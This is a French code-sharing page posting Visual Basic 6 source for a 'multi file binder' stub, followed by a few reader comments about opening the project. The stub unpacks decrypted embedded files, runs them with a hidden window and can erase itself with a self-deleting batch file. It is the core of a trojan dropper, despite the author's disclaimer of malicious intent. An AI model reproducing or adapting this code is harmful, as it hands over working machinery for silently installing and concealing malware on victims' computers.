Multi file binder

0/5 (16 avis)

Vue 18 946 fois - Téléchargée 2 146 fois

Description

Yop, Bon voici la source d'un programme que j'ai codé il y a quelque temps. C'est un binder de fichiers aka joindre plusieurs fichiers en 1 executable qui les extraira a l'execution. On peut binder un nombre infini de fichiers, de n'importe quelles extensions, on peut choisir leur execution ou non (ShellExecute ouvrira le fichier avec l'application associé en cas de non exe). On peut faire en sorte que l'executable s'efface une fois le travail accompli. C'est un bonne exemple pour travailler sur le contenu d'un fichier (ouverture binaire, recuperation de parametres etc)

ATTENTION: CETTE SOURCE N EST PAS FAITES POUR UN USAGE MALICIEUX, J INSISTE, VEUILLEZ EN PRENDRE NOTE. CECI N A STRICTEMENT RIEN A VOIR AVEC UN CHEVAL DE TROIE MERCI.

Source / Exemple :


Public Sub Main()
On Error Resume Next

'Declarations
Dim StrFile           As String 'data du stub, stub data
Dim StrBuffer         As String 'Chaine de params utilisateur, user param's string
Dim z, y              As Long   'Var long, for var
Dim LngParam(1 To 2)  As Long   'Ret instr, returned instr
Dim strSplited()      As String 'Param Split "#"
'''''''''''''''''''''''''''''''
Dim StrExec           As String 'Param execution
Dim strFilePath       As String 'Param path
Dim LngFileLen        As Long   'param taille de fichier, param file size
Dim LngFileName       As String 'Param Nom du fichier, param filename
Dim LngCursor         As Long   'Pointeur de position dans StrFile, file position pointer
'''''''''''''

'A_ On récupere le code du stub
'A_ all the stub code in the string
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    StrFile = Space(FileLen(App.Path & "\" & App.EXEName & ".exe"))
    Get #1, 1, StrFile
Close #1
'''''''''''''''''''''''''''''''

'B _ On isole les params utilisateurs
'B _ user param get
LngParam(1) = InStr(1, StrFile, "<&&>", vbBinaryCompare)
LngParam(2) = InStr(1, StrFile, "###", vbBinaryCompare)
StrBuffer = Mid(StrFile, LngParam(1) + 5, LngParam(2))
'''''''''''''''''''''''''''''''''''''
StrBuffer = Decrypt(StrBuffer)

'C _On Récupere la liste des taches
'C _Get task list (user param all)
strSplited1 = Split(StrBuffer, "###")
LngCursor = strSplited1(0)
'''''''''''''''''''''''''''''''''''

'E _Boucle de Déploiement des fichiers
'E _File deployment loop
For z = 1 To UBound(strSplited1()) - 1

    'E1 _Split des specs fichiers
    'E1 _User param get (file)
    strSplited() = Split(strSplited1(z), "|")
    '''''''''''''''''''''''''''''
    
    'E2 _Assignation des specs aux variables
    'E2 _User param variables assignment
    strFilePath = strSplited(1)
    LngFileLen = strSplited(2)
    LngFileName = strSplited(3)
    StrExec = strSplited(4)
    StrBuffer = Mid(StrFile, LngCursor + 1, LngFileLen)
    ''''''''''''''''''''''''''''''''''''''''
    
    'E3 _Ecriture du fichier
    'E3 _ File writing
    If Dir(InstallPath(strFilePath) & LngFileName) <> "" Then Kill (InstallPath(strFilePath) & LngFileName)

    
    Open InstallPath(strFilePath) & LngFileName For Binary As #1
        Put #1, LOF(1) + 1, StrBuffer
    Close #1
    ''''''''''''''''''''''''
    
    'E4 _Mise a jour du pointeur
    'E4 _Cursor update
    LngCursor = LngCursor + LngFileLen + 1
    '''''''''''''''''''''''''''
    
    'E6 _Param Execution
    If StrExec = "Yes" Then ShellExecute hwnd, "open", InstallPath(strFilePath) & LngFileName, vbNullString, vbNullString, SW_HIDE
    ''''''''''''''''''''
Next z

1 DoEvents

'G _Melt du Stub
 If strSplited1(UBound(strSplited1()) - 1) = "Yes" Then
    Open InstallPath("Temp Directory") & "Melt.bat" For Output As #1
        Print #1, "@Echo off"
        Print #1, ":Begin"
        Print #1, "Del " & App.EXEName & ".exe"
        Print #1, "If Exist " & App.Path & "\" & App.EXEName & ".exe" & " Goto Begin"
        Print #1, "Del " & InstallPath("Temp Directory") & "Melt.bat"
    Close #1
    Shell InstallPath("Temp Directory") & "Melt.bat", vbHide
End If
'''''''''''''''''
DoEvents

End Sub

Conclusion :


Le reste est dans le zip

Codes Sources

A voir également

Ajouter un commentaire Commentaires
Renfield Messages postés 17287 Date d'inscription mercredi 2 janvier 2002 Statut Modérateur Dernière intervention 27 septembre 2021 72
6 avril 2006 à 09:46
pourquoi ne pas utiliser les ressources (.res)
thel0rd Messages postés 14 Date d'inscription lundi 16 février 2004 Statut Membre Dernière intervention 20 janvier 2012
6 avril 2006 à 11:21
le stub est en .res, pour le bat je n'ai pas le choix, si je le met en res je serais de toute façon obligé d'éditer pour le nom de l'executable a delete par exemple (app.exename)
Petrucci92 Messages postés 11 Date d'inscription lundi 22 mai 2006 Statut Membre Dernière intervention 26 juin 2006
26 juin 2006 à 16:13
svp, faut l'ouvrir avec quoi???
Renfield Messages postés 17287 Date d'inscription mercredi 2 janvier 2002 Statut Modérateur Dernière intervention 27 septembre 2021 72
26 juin 2006 à 16:42
Visual Basic 6
Petrucci92 Messages postés 11 Date d'inscription lundi 22 mai 2006 Statut Membre Dernière intervention 26 juin 2006
26 juin 2006 à 17:50
je sais que je suis plus que nul, mais pour l'ouvrir, y faut tous les sélectoinner et les mettre ds le logiciel VB ??? ou y faut en ouvrir un en particulier?.. parce que mon ordi ne reconnais aucun des fichiers contenus dans le zip.

et sa peut marcher avec microsoft visual basic 2005 express edition??? :'(

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.